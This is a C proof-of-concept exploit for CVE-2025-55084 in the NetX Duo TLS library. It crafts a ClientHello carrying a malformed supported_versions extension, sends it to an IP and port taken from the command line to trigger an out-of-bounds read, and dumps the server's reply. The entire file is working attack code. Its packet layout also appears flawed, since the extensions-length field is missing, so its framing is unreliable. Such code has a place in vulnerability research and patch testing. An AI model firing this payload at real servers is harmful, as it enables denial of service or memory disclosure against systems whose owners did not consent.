/*
* CVE-2025-55084 PoC - NetX Duo TLS supported_versions Extension Bound Check Bypass
* Demonstrates malformed ClientHello with abnormal version field in supported_versions extension
* to trigger out-of-bounds read in _nx_secure_tls_proc_clienthello_supported_versions_extension()
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define TLS_HANDSHAKE 0x16
#define TLS_VERSION_MAJOR 0x03
#define TLS_VERSION_MINOR 0x03 /* TLS 1.2 record version */
#define CLIENT_HELLO 0x01
/* TLS Extension: supported_versions (43) */
#define TLS_EXT_SUPPORTED_VERSIONS 0x002B
/* Build a minimal TLS ClientHello with malformed supported_versions extension */
unsigned char *build_malformed_client_hello(int *out_len) {
/* TLS record header (5 bytes) + Handshake header (4 bytes) + ClientHello body */
unsigned char client_random[32] = {0};
unsigned char session_id_len = 0;
unsigned char cipher_suites[] = {0x00, 0x2F}; /* TLS_RSA_WITH_AES_128_CBC_SHA */
unsigned char compression_methods[] = {0x01, 0x00};
/* Malformed supported_versions extension:
* - Extension type: supported_versions (0x002B)
* - Extension length: 3 (claims 3 bytes follow)
* - supported_versions_length: 0x02 (claims 2 bytes of versions)
* - version: 0xFF 0xFF (abnormal version value to trigger bound check bypass)
*
* The inconsistency between extension length and actual data triggers
* the incorrect bound check in _nx_secure_tls_proc_clienthello_supported_versions_extension()
*/
unsigned char ext_supported_versions[] = {
0x00, 0x2B, /* Extension type: supported_versions */
0x00, 0x03, /* Extension length: 3 bytes */
0x02, /* supported_versions list length: 2 */
0xFF, 0xFF /* Abnormal version: 0xFFFF - triggers bound check failure */
};
/* Build ClientHello body */
int body_len = 0;
unsigned char *body = malloc(1024);
int offset = 0;
body[offset++] = TLS_VERSION_MAJOR; /* client_version major (TLS 1.0 for compat) */
body[offset++] = TLS_VERSION_MINOR; /* client_version minor */
memcpy(body + offset, client_random, 32); offset += 32; /* random */
body[offset++] = session_id_len; /* session_id length (0) */
memcpy(body + offset, cipher_suites, sizeof(cipher_suites)); offset += sizeof(cipher_suites);
memcpy(body + offset, compression_methods, sizeof(compression_methods)); offset += sizeof(compression_methods);
memcpy(body + offset, ext_supported_versions, sizeof(ext_supported_versions)); offset += sizeof(ext_supported_versions);
body_len = offset;
/* Build Handshake message */
int hs_len = 4 + body_len;
unsigned char *handshake = malloc(hs_len);
int h_offset = 0;
handshake[h_offset++] = CLIENT_HELLO;
handshake[h_offset++] = (body_len >> 16) & 0xFF;
handshake[h_offset++] = (body_len >> 8) & 0xFF;
handshake[h_offset++] = body_len & 0xFF;
memcpy(handshake + h_offset, body, body_len);
/* Build TLS record */
int record_len = 5 + hs_len;
unsigned char *record = malloc(record_len);
int r_offset = 0;
record[r_offset++] = TLS_HANDSHAKE;
record[r_offset++] = TLS_VERSION_MAJOR;
record[r_offset++] = TLS_VERSION_MINOR;
record[r_offset++] = (hs_len >> 8) & 0xFF;
record[r_offset++] = hs_len & 0xFF;
memcpy(record + r_offset, handshake, hs_len);
free(body);
free(handshake);
*out_len = record_len;
return record;
}
int main(int argc, char *argv[]) {
const char *target_ip = (argc > 1) ? argv[1] : "127.0.0.1";
int target_port = (argc > 2) ? atoi(argv[2]) : 443;
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("socket");
return 1;
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(target_port);
inet_pton(AF_INET, target_ip, &addr.sin_addr);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect");
close(sock);
return 1;
}
int pkt_len = 0;
unsigned char *pkt = build_malformed_client_hello(&pkt_len);
printf("[+] Sending malformed ClientHello (%d bytes) to %s:%d\n", pkt_len, target_ip, target_port);
printf("[+] Malformed supported_versions extension with version 0xFFFF\n");
if (send(sock, pkt, pkt_len, 0) < 0) {
perror("send");
}
/* Read response to observe behavior */
unsigned char buf[4096];
int n = recv(sock, buf, sizeof(buf), 0);
if (n > 0) {
printf("[+] Received %d bytes response\n", n);
printf("[+] Server response (hex): ");
for (int i = 0; i < n && i < 64; i++) printf("%02x ", buf[i]);
printf("\n");
}
free(pkt);
close(sock);
return 0;
}